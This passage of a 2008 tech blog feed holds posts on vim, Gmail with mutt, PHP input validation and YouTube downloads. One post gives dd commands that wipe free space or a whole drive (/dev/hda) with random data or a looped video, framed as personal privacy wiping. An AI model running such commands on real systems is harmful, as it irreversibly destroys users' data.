&lt;p&gt;To flip back and fourth through text you start by setting your first marker.  You can set the marker to, &amp;lsquo;k&amp;rsquo; by doing, &amp;lsquo;&lt;strong&gt;mk&lt;/strong&gt;&amp;rsquo; in normal mode.  Just in case you forgot, you can get into normal mode by pressing esc.  Then go to another part of the document you want to refer to and set the marker to, &amp;lsquo;n&amp;rsquo;.  As you did before the command would be, &amp;lsquo;&lt;strong&gt;mn&lt;/strong&gt;&amp;rsquo;.  Now when you whenever you want to flip to the k marker you can use, &amp;lsquo;&lt;strong&gt;&lt;code&gt;k**&#39; or &#39;**&lt;/code&gt;n&amp;rsquo;&lt;/strong&gt; for the &amp;lsquo;&lt;strong&gt;n&lt;/strong&gt;&amp;rsquo; marker.&lt;/p&gt;

&lt;h4&gt;Delete large chunks of data.&lt;/h4&gt;

&lt;p&gt;Since vim&amp;rsquo;s command structure is so easy you can probably guess what command will make this happen.  What we need to do is first set the marker at the bottom of the text we want to delete.  This marker is going to tell vim&amp;rsquo;s delete command to stop.  We can then position our cursor at the top of the text we want to delete and type, &amp;lsquo;&lt;strong&gt;d&amp;rsquo;k&lt;/strong&gt;&amp;rsquo;.  This will tell vim to delete everything from the current position to the marker &amp;lsquo;&lt;strong&gt;k&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;h4&gt;Copying large chunks of data&lt;/h4&gt;

&lt;p&gt;Of course this exact method can be used to copy the text.  Vim&amp;rsquo;s key for grabbing text is &amp;lsquo;&lt;strong&gt;y&lt;/strong&gt;&amp;rsquo;.  It stands for yank.  To yank the text between our cursor and our marker we can issue a command like, &amp;lsquo;&lt;strong&gt;y&amp;rsquo;n&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;h4&gt;Marking code for folding&lt;/h4&gt;

&lt;p&gt;Vim will fold large chunks of code into one line.  We can fold code between the current position and our marker by using, &amp;lsquo;&lt;strong&gt;zf&amp;rsquo;n&lt;/strong&gt;&amp;rsquo;.  The &amp;lsquo;&lt;strong&gt;z&lt;/strong&gt;&amp;rsquo; is the folding command &amp;lsquo;&lt;strong&gt;f&lt;/strong&gt;&amp;rsquo; tells it to fold and the &amp;lsquo;&lt;strong&gt;&amp;lsquo;n&lt;/strong&gt;&amp;rsquo; tells vim when to stop.  To quickly open the fold and look at it you can use, &amp;lsquo;&lt;strong&gt;zo&lt;/strong&gt;&amp;rsquo;.  To then close it you can use, &amp;lsquo;&lt;strong&gt;zc&lt;/strong&gt;&amp;rsquo;.  A vim fold will include the number of lines and the first line.  It might look something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;+-- 23 lines: function date_i18n( )-------&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note: &lt;em&gt;Markers are not permanent, if a line or character associated with a marker is deleted, the marker will be canceled.&lt;/em&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 11</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-11/index.html" />
		<updated>2008-06-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-11/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://lifehacker.com/394039/recover-lost-passwords-with-free-tools&#34;&gt;Recover Lost Passwords with Free Tools&lt;/a&gt; - An interesting set of tools allowing inexperienced users the ability to crack passwords.  It&amp;rsquo;s tools like this that make me a parinoid computer user.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://feeds.gawker.com/~r/lifehacker/full/~3/303487667/gooshorg-unix+like-google-command-line&#34;&gt;Google command line&lt;/a&gt; - Use google like you would a Unix command line.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://montanafragfest.com/&#34;&gt;Montana Fragfest&lt;/a&gt; - A Montana gaming community that I belong to.  If you like to play games please stop on by.  My gaming alias is Bruce LeeRoy, taken from a funny 80s movie, &lt;a href=&#34;http://www.imdb.com/title/tt0089461/&#34;&gt;The Last Dragon&lt;/a&gt;.  We are currently playing mostly &lt;a href=&#34;http://orange.half-life2.com/tf2.html&#34;&gt;Team Fortress 2&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.vnunet.com/vnunet/news/2218172/acer-pushes-linux-hard&#34;&gt;Acer bets big on Linux&lt;/a&gt; - Good to see other companies understanding the power behind linux and its free license agreement.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/yubikey_keys.jpg&#34; alt=&#34;Yubico yubikey&#34; /&gt;&lt;a href=&#34;http://www.yubico.com/products/yubikey/&#34;&gt;Yubico&lt;/a&gt; - If you love multi-factor authentication and the &lt;a href=&#34;/uncategorized/paypal-security-key-for-multi-factor-authentication/&#34;&gt;paypal security key&lt;/a&gt;, you are gonna love this device.  Its basically a usb virtual keyboard that prints out a different password based on the time and serial number of the device when you press the button on it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://mamchenkov.net/wordpress/2008/06/04/where-did-all-the-php-programmers-go/&#34;&gt;Where did all the PHP programmers go?&lt;/a&gt; - Are you a PHP programmer?&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.mattcutts.com/blog/improved-seo-documentation-galore/&#34;&gt;Improved SEO documentation galore!&lt;/a&gt; - As you all know I am a big fan of SEO and am always trying to keep track with the ever changing SEO practices.  This is a new golden nugget of information offered directly from Google on the topic.  If you own a website this article (and the entire blog) is worth a read.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://googlewebmastercentral.blogspot.com/2007/12/information-about-buying-and-selling.html&#34;&gt;Google&amp;rsquo;s Position on Paid Text Links&lt;/a&gt; - If you are using &lt;a href=&#34;http://www.textlinksads.com/&#34;&gt;text-link-ads&lt;/a&gt;, or any other paid text link service your page can be &lt;a href=&#34;https://www.google.com/webmasters/tools/paidlinks&#34;&gt;reported&lt;/a&gt; and subject to lose your abilty to pass on page rank.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Dreamhost with Gmail and Google Apps</title>
		<link href="https://www.marksanborn.net/miscellaneous/dreamhost-with-gmail-and-google-apps/index.html" />
		<updated>2008-06-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/dreamhost-with-gmail-and-google-apps/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; just anounced in their monthly newsletter that they now offer one click domain linking with &lt;a href=&#34;http://www.google.com/a/help/intl/en/var_1c.html&#34;&gt;Google Apps&lt;/a&gt;.  All you have to do is:&lt;/p&gt;

&lt;!--more--&gt;

&lt;ul&gt;
&lt;li&gt;Log into your Web Panel and visit the &amp;ldquo;Domains &amp;gt; Manage Domains&amp;rdquo; section&lt;/li&gt;
&lt;li&gt;Click on &amp;ldquo;Edit&amp;rdquo; button under &amp;ldquo;Web hosting&amp;rdquo; for the domain you wish to use with this service&lt;/li&gt;
&lt;li&gt;Under the &amp;ldquo;Fully Hosted&amp;rdquo; section, click the checkbox next to the GMail&lt;/li&gt;
&lt;li&gt;Then, click on the &amp;ldquo;Change fully hosted settings now!&amp;rdquo; button&lt;/li&gt;
&lt;li&gt;You will be redirected back to the &amp;ldquo;Domains &amp;gt; Manage Domains&amp;rdquo; page, where a greeen &amp;ldquo;Success!&amp;rdquo; message will appear.  An email will be sent with information on setting up the rest from Google&amp;rsquo;s Side.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since it takes time (few hours) for the MX records to change you might want to do this during non production hours to minimize lost emails.&lt;/p&gt;

&lt;h3&gt;Why is this cool?&lt;/h3&gt;

&lt;p&gt;Because now you can have your own @domain.com that runs through the gmail interface.  Which means you get all the great spam protection, search and web interface.  Since Gmail can be connected to via IMAP, any client can connect to it.  This means that for your @company.com email addresses that get loads of spam you can switch to gmail servers and have them deal with it.  If the end user is using a program like outlook, mutt, or a CRM program they wont even notice a difference in the way they check email.  The only difference will be less spam.&lt;/p&gt;

&lt;p&gt;Of course Gmail is not the only thing offered with Google apps.  You also get the other services such as &lt;a href=&#34;http://www.google.com/calendar&#34;&gt;Google Calendar&lt;/a&gt; and &lt;a href=&#34;http://docs.google.com/&#34;&gt;Google Docs&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using Gmail with Mutt and IMAP</title>
		<link href="https://www.marksanborn.net/howto/using-gmail-with-mutt-and-imap/index.html" />
		<updated>2008-06-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/using-gmail-with-mutt-and-imap/index.html</id>
		<content type="html">&lt;p&gt;I am not quite sure why it is but there are always people that want to do things faster and more efficient, even if the current system is working fine.  I have to admit I love to tweak things to no end.  For whatever reason I am attracted to this type of perfection.  I want to optimize code, automate, and increase my productivity as a user.  Just as there are &lt;a href=&#34;/linux/making-gvim-your-default-text-editor-in-gnome/&#34;&gt;more efficient text editors&lt;/a&gt; and operating systems, we also have more efficient email programs.  Mutt is one of them.  Since Gmail offers IMAP we can retrieve our emails with an email program such as mutt.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Installing Mutt&lt;/h3&gt;

&lt;p&gt;Mutt is usually installed by default on most Linux distributions but sometimes we need to install it.&lt;/p&gt;

&lt;p&gt;For Debian systems:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install mutt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For Gentoo:&lt;/p&gt;

&lt;p&gt;emerge mutt&lt;/p&gt;

&lt;h3&gt;Using Gmail with Mutt and IMAP&lt;/h3&gt;

&lt;p&gt;You can open Mutt by typing &amp;lsquo;&lt;strong&gt;mutt&lt;/strong&gt;&amp;rsquo; and pressing enter.  Once connected you will then need to tell Mutt where your mailbox is.  Our mailbox is stored on Google&amp;rsquo;s servers.  To open it hit, &amp;lsquo;&lt;strong&gt;c&lt;/strong&gt;&amp;rsquo; and type:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;imaps://imap.google.com:993&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You will then be prompted to type in your username and password.&lt;/p&gt;

&lt;p&gt;Congratulations you are managing your email with mutt.&lt;/p&gt;

&lt;p&gt;I highly recommend checking out the &lt;a href=&#34;http://wiki.mutt.org/?MailConcept&#34;&gt;Mail Concept&lt;/a&gt;.  For understanding how email actually works.  Most of use don&amp;rsquo;t appreciate what goes into the mail delivery/sending system since its usually configured for us.&lt;/p&gt;

&lt;p&gt;To configure Mutt to send mail you may want to check out, &lt;a href=&#34;/linux/send-mail-postfix-through-gmails-smtp-on-a-ubuntu-lts-server/&#34;&gt;Send Mail Postfix through Gmail’s SMTP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to make a backup of all your emails you can &lt;a href=&#34;/freebsd/using-fetchmail-to-backup-gmail-with-freebsd/&#34;&gt;use fetchmail to backup gmail&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Modify Remote Files with VIM's Built in FTP Plugin</title>
		<link href="https://www.marksanborn.net/software/modify-remote-files-with-vims-built-in-ftp-plugin/index.html" />
		<updated>2008-06-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/modify-remote-files-with-vims-built-in-ftp-plugin/index.html</id>
		<content type="html">&lt;p&gt;I can&amp;rsquo;t tell you how excited I am that I found out about this.  &lt;a href=&#34;http://www.vim.org/&#34;&gt;Vim&lt;/a&gt; has a built in plugin to connect to FTP sites.  What this means is that you can modify your web documents from vim without having to save the file and then FTP the file up to the server.  With this plugin all you have to do is save your work and it is reflected on the server.&lt;/p&gt;

&lt;p&gt;I know jedit and many other programs have this feature built in, but vim is by far a more robust programming editor than jedit when you get used to it.  So i was very excited that this was built into vim as well.&lt;/p&gt;

&lt;p&gt;If you are one of those guys that make quick edits in notepad, save the file, open your ftp program, type in your username/password and connect to the server and then transfer your files, this will save you tons of time.  As you can have both the productivity of Vim with remote editing.&lt;/p&gt;

&lt;p&gt;To edit a remote file with vim you can use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim ftp://username@yourdomain.com//the/path/to/yourfile.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now I know what you are thinking.  I don&amp;rsquo;t always know the path to my files and it would be nice if I could get a directory listing or choose the files like I do when I use my FTP program.&lt;/p&gt;

&lt;p&gt;No problem.  The default &amp;lsquo;&lt;strong&gt;:e&lt;/strong&gt;&amp;rsquo; command wil open the current diretory.  You can also open the root directory like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim ftp://username@yourdoamin.com//&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will open up a directory listing.  To open the folder just press enter.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/vimdirectory.png&#34; alt=&#34;vim directory&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Bonus Tips&lt;/h3&gt;

&lt;p&gt;You can turn on vim&amp;rsquo;s syntax highlighting by using, &lt;strong&gt;:syntax on&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/vimsyntax.png&#34; alt=&#34;vim syntax&#34; /&gt;&lt;/p&gt;

&lt;p&gt;If you have a dark backgound sometimes the syntax highlighting can be dark.  To make it lighter tell vim, &amp;lsquo;&lt;strong&gt;:background=dark&lt;/strong&gt;&amp;lsquo;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;/linux/making-gvim-your-default-text-editor-in-gnome/&#34;&gt;Making GVim your Default Text Editor in Gnome&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want line numbers you can use, &amp;lsquo;&lt;strong&gt;:set number&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;/linux/use-vi-functions-in-the-command-line/&#34;&gt;Use VI Functions in the Command Line&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Happy programming!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Validating an IP Address with PHP</title>
		<link href="https://www.marksanborn.net/php/validating-an-ip-address-with-php/index.html" />
		<updated>2008-06-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/validating-an-ip-address-with-php/index.html</id>
		<content type="html">&lt;p&gt;For security purposes, all user input should be validated before accepting.  In this case we are going to run a regular expression to determine whether or not an IP address is valid.  This function could be used on forms or web applications where you ask the user for an IP address.&lt;/p&gt;

&lt;p&gt;Last week I wrote about &lt;a href=&#34;/php/validating-telephone-numbers-with-php/&#34;&gt;Validating Telephone Numbers With PHP&lt;/a&gt; and &lt;a href=&#34;/php/using-php-to-accept-only-numbers-from-user-input/&#34;&gt;Using PHP to Accept Only Numbers From User Input&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So here it is.&lt;/p&gt;

&lt;h3&gt;The Function&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;function valIP($string) {
    if (preg_match(
    &#39;^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.](?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$^&#39;,
    $string)) { 
    echo $string;
    } else {
        echo &#39;Invalid IP Address&#39;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 10</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-10/index.html" />
		<updated>2008-05-31T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-10/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet&#34;&gt;The Web Developer&amp;rsquo;s SEO Cheat Sheet&lt;/a&gt; - Pretty much all the major SEO topics combined in one sheet.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://nettuts.com/site-builds/how-to-build-a-maintainable-site-using-cushycms-and-twitter/&#34;&gt;How to build a maintainable site using Cushy CMS and Twitter&lt;/a&gt; - This is a great tutorial that builds a personal bio page from scratch that can be updated with twitter and Cushy CMS.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.easyvmx.com&#34;&gt;http://www.easyvmx.com&lt;/a&gt; - As you may know Vmware offers their Vmware player for free but you can not create an image.  With this site you can specify the type of image, hard drive space, and other attributes and a Vmware image will be auto generated.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.collegeathome.com/blog/2008/05/22/open-courseware-for-linux-geeks-50-resources/&#34;&gt;Open CourseWare for Linux Geeks: 50+ Resources&lt;/a&gt; - Over 50 free online Linux courses.  What a great find.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.javameblog.com/2007/08/10-things-your-it-guy-wants-you-to-know.html&#34;&gt;10 things your IT guy wants you to know&lt;/a&gt; - As a former &amp;ldquo;IT Guy&amp;rdquo; I find this article both funny and relevant.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://consumerist.com/tag/windows/?i=5010868&amp;amp;t=microsoft-and-the-1632-copy-of-vista&#34;&gt;The $1,632 copy of Windows Vista&lt;/a&gt; - An interesting story about a man that was charged multiple times for a single copy of Windows Vista.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.pcworld.com/article/id,146035/article.html&#34;&gt;Coders Tell Why They are Avoiding Vista&lt;/a&gt; - 1 in 12 coders are writing applications with Windows Vista in mind.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://bytes.com/forum/thread585228.html&#34;&gt;Database Normalization and Table structures&lt;/a&gt; - A nice introduction do database normalization.  This article brings back memories of my database course in college.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Validating Telephone Numbers With PHP</title>
		<link href="https://www.marksanborn.net/php/validating-telephone-numbers-with-php/index.html" />
		<updated>2008-05-30T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/validating-telephone-numbers-with-php/index.html</id>
		<content type="html">&lt;p&gt;There are many different ways a user might input a phone number.  Sometimes they may choose to input it as, (555) 555-5555.  Other times they will use 555-555-5555.  As a developer we never really know how they might input the number. Often times we can give our users an example and they will still enter the wrong format.  I have created a script that will strip out all characters in a string except numerical digits.  This not only creates a standardized string that can be later used in a comparison or stored in a database, but also ensures that the data that is received on the server end contains only the expected data.  This is important because most website attacks are caused by accepting user input blindly.&lt;/p&gt;

&lt;h3&gt;Client vs Server Validation&lt;/h3&gt;

&lt;p&gt;There are two ways of validating user input, server side and client.  On the client side we could have javascript that checks the form for certain validation requirements when the user clicks the submit button.  This is a great way to validate the input since the user will be notified before submitting the data if it is valid or not.&lt;/p&gt;

&lt;p&gt;The problem with validating user input on the client side is that there is no security.  The user could simply turn off all javascript or send the data through &lt;a href=&#34;http://curl.haxx.se/&#34;&gt;curl&lt;/a&gt; or some other method that bypasses the validation script.  For security purposes it is imperative that we validate all user input on the server side.  The problem with the server side validation is that the people that make an honest mistake must suffer a page refresh.&lt;/p&gt;

&lt;p&gt;As an answer to this problem most sites will use both forms of validation.  That way if the user makes an honest mistake a javascript popup can alert you before you submit; however, if you have javascript turned off the data will be submitted but the server will validate and reject the error.&lt;/p&gt;

&lt;h3&gt;Validating Telephone Numbers with PHP (Server Side)&lt;/h3&gt;

&lt;p&gt;Here is the function that I came up with for validating telephone numbers with PHP:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function validatePhone($string) {
    $numbersOnly = ereg_replace(&amp;quot;[^0-9]&amp;quot;, &amp;quot;&amp;quot;, $string);
    $numberOfDigits = strlen($numbersOnly);
    if ($numberOfDigits == 7 or $numberOfDigits == 10) {
        echo $numbersOnly;
    } else {
        echo &#39;Invalid Phone Number&#39;;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Validating Telephone Numbers with JavaScript (Client Side)&lt;/h3&gt;

&lt;p&gt;To validate via javascript you would need something along these lines:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;var stripped = strng.replace(/[\(\)\.\-\ ]/g, &#39;&#39;);
if (isNaN(parseInt(stripped))) {
   error = &amp;quot;Invalid Phone Number&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>"Rick Rolling" Your Hard Drive</title>
		<link href="https://www.marksanborn.net/howto/rick-rolling-your-hard-drive/index.html" />
		<updated>2008-05-29T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/rick-rolling-your-hard-drive/index.html</id>
		<content type="html">&lt;p&gt;If you remember back to my article about dd you will remember that it is a very powerful utility for writing to hard drives.  In this post we are going to use it to &amp;ldquo;rick roll&amp;rdquo; the hard drive.  I will show you two different &amp;ldquo;rick rolling&amp;rdquo; methods as well as describe what a &amp;ldquo;rick roll&amp;rdquo; is.&lt;/p&gt;

&lt;h3&gt;What is Rick Rolling?&lt;/h3&gt;

&lt;p&gt;From Wikipedia:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Rickrolling is a prank and Internet meme involving the &lt;a href=&#34;http://www.youtube.com/watch?v=eBGIQ7ZuuiU&#34;&gt;music video&lt;/a&gt; for the 1987 Rick Astley song &amp;ldquo;Never Gonna Give You Up&amp;rdquo;.  The meme is a classic bait and switch: a person provides a Web link they claim is relevant to the topic at hand, but the link actually takes the user to the Astley video.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In our sense of the meaning we are going to make our &amp;ldquo;deleted&amp;rdquo; data on our hard drives appear as if it was the Rick Astley video.  Anyone attempting to retrieve removed data will be surprised to find a weird guy video of a guy singing a catchy tune from the 80s.&lt;/p&gt;

&lt;h3&gt;Why rick roll your hard drive?&lt;/h3&gt;

&lt;p&gt;Well, there are multiple reasons to rick roll the drive.  These reasons range anywhere from, because its funny, to actually serve a legitimate reason.  If you have been paying attention to the &lt;a href=&#34;http://www.guardian.co.uk/technology/2008/may/15/computing.security&#34;&gt;news&lt;/a&gt; lately you will remember that a US court ruled that border agents can search your laptop, or any other electronic device, when you&amp;rsquo;re entering the country.  No, this doesn&amp;rsquo;t mean they want you to take it out of the bag and run it through the metal detector.  The courts have ruled that the laptop&amp;rsquo;s contents can be downloaded and stored.&lt;/p&gt;

&lt;p&gt;You should know by now that when you hit the delete button you are not actually removing any data.  Hard drives don&amp;rsquo;t have any mechanism to actually remove or destroy deleted contents.  They only know how to allocate space.  If you delete a large block of data on a hard drive the hard drive will remain in pretty much the exact state it was in before you deleted the block.  The only difference is that the hard drive knows now that it has permission to write over top of the data in that block.  Of course if you don&amp;rsquo;t write any data for a long time that data will be there indefinitely.&lt;/p&gt;

&lt;p&gt;Thus, removed/deleted data can be seen by anyone that has access to your computer!&lt;/p&gt;

&lt;p&gt;So what are we to do?  Lets Rick Roll it!&lt;/p&gt;

&lt;h3&gt;Rick rolling the empty space&lt;/h3&gt;

&lt;p&gt;There are two ways to rick roll your hard drive.  The first is rick rolling the empty space.  You will want to choose this option if you want to keep what you have on your hard drive but destroy any data that you have deleted.&lt;/p&gt;

&lt;p&gt;Effectively what we are going to do here is write over any unused blocks of data with a lovely Rick Astley video.  Any data that was once recoverable will be gone and the lucky person that has the job of looking at your data will get &amp;ldquo;rick rolled&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;In order to write over the empty space of your hard drive with Rick Astley you will need to actually go and download the video from &lt;a href=&#34;http://www.youtube.com&#34;&gt;Youtube&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you are using a Linux/FreeBSD machine you can &lt;a href=&#34;/howto/using-wget-to-download-youtube-videos/&#34;&gt;use wget&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you are using Windows you should probably just use one of those free online &lt;a href=&#34;http://www.google.com/search?client=opera&amp;amp;rls=en&amp;amp;q=download+from+youtube&#34;&gt;youtube downloading sites&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We are going to use a lovely utility called, dd.  It usually comes with all Linux distros and FreeBSD.  Windows users will have to &lt;a href=&#34;http://uranus.it.swin.edu.au/~jn/linux/rawwrite/dd.htm&#34;&gt;download it&lt;/a&gt;.  This utility is great at reading and writing data, &lt;a href=&#34;/security/securely-wipe-a-file-with-dd/&#34;&gt;securely wiping files&lt;/a&gt;, &lt;a href=&#34;/howto/duplicating-a-cd-with-dd/&#34;&gt;duplicating CDs&lt;/a&gt;,  and &lt;a href=&#34;/howto/make-a-backup-image-of-your-hard-drive-with-dd/&#34;&gt;Making Backup Images of your Hard Drives&lt;/a&gt;, but it doesn&amp;rsquo;t have a way to loop an input file.  For this reason we need to create a small script that will do the looping for us.&lt;/p&gt;

&lt;p&gt;First create a text file with your favorite editor:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim rickrollscript.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Copy and paste the following code in the text file:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#!/bin/bash
x=1
while [ $x = 1 ]
do
 dd if=rickroll.flv &amp;gt;&amp;gt; deleteMeLater.tmp
done&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In order for a shell script to run, it must be executable:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chmod +x rickrollscript.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now all you have to do is run it.  This script can be ran from a regular user account:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sh rickrollscript.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Depending on the size and speed of the hard drive it may take a little while to fill it up.  You will know when it is done when you are greeted with something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd: stdout: No space left on device&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When you notice this message you can hit &lt;strong&gt;ctrl + c&lt;/strong&gt; to end the loop.&lt;/p&gt;

&lt;p&gt;What this script has done is created a file that is as large as the empty space on your hard drive and filled it with the Rick Astley video.  To tell our hard drive that we want that space back we simply delete the file that says, deleteMeLater.tmp.  Once this is done you will have all your hard drive space back again but this time the underlying data is that of the great Rick Astley instead of the data you have deleted in the past.&lt;/p&gt;

&lt;h3&gt;Rick rolling the entire drive (destroying all data)&lt;/h3&gt;

&lt;p&gt;nbsp;
If you wish to destroy ALL the data on the drive you will need to boot into a live CD or boot up from a hard drive other than the one you are rick rolling.&lt;/p&gt;

&lt;p&gt;First run this command.  &lt;strong&gt;Making sure to replace hda with the hard drive you want to roll&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd if=/dev/urandom of=/dev/hda&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then repeat the steps you would use in rolling the empty hard drive space.&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Rick rolling the hard drive is an interesting way to destroying removed data but probably not the easiest method.  For example if you wanted a quick way of destroying the empty space you could use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd if=/dev/urandom of=deleteMe.tmp bs=100000000 count=1000000000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will overwrite all the empty space with random data.  Although this method is a little bit easier and a little more secure, it is not as fun.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using wget to Download Youtube Videos</title>
		<link href="https://www.marksanborn.net/howto/using-wget-to-download-youtube-videos/index.html" />
		<updated>2008-05-27T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/using-wget-to-download-youtube-videos/index.html</id>
		<content type="html">&lt;p&gt;Today I am going to show you a neat way of downloading Youtube videos using wget.  Most Linux distros will come with wget.  If you don&amp;rsquo;t have it, check with your distro for instructions on how to install it.  Windows users can get wget &lt;a href=&#34;http://gnuwin32.sourceforge.net/packages/wget.htm&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First locate the url of the video you want to download.&lt;/p&gt;

&lt;p&gt;Hmmm&amp;hellip; Here is a good one:&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://youtube.com/watch?v=eBGIQ7ZuuiU&#34;&gt;http://youtube.com/watch?v=eBGIQ7ZuuiU&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then open up your terminal and type:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wget -O deleteMeLater.tmp http://www.youtube.com/watch?v=eBGIQ7ZuuiU&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command will quickly download the page&amp;rsquo;s html.&lt;/p&gt;

&lt;p&gt;Since Youtube has other flash objects and related videos we need to find the one we want.  Fortunately Youtube uses the same layout for all their videos.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat deleteMeLater.tmp | grep fullscreenUrl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This gives me the url I need for the video:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;var fullscreenUrl = &#39;/watch_fullscreen?fs=1&amp;amp;BASE_YT_URL=http%3A%2F%2Fyoutube.com%2F&amp;amp;vq=None&amp;amp;video_id=eBGIQ7ZuuiU&amp;amp;l=210&amp;amp;sk=QHSGy-6-eiJ6h5qtrj1kR2OJanvL6tLlC&amp;amp;fmt_map=&amp;amp;t=OEgsToPDskIjlCX_1shTRBRDv2UQzVb-&amp;amp;hl=en&amp;amp;plid=AAROOIUyvpMFnjvzAAAAoARsYAg&amp;amp;tk=6J3d54cPnMJP7mUN2BtMkd2OmbgxTvB_GPcrV3ckGUbzd7KVMiH1kA%3D%3D&amp;amp;title=Rick Roll&#39;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We are mostly interested in the video_id= portion of the URL.  Finally, to download the video we can use:&lt;/p&gt;

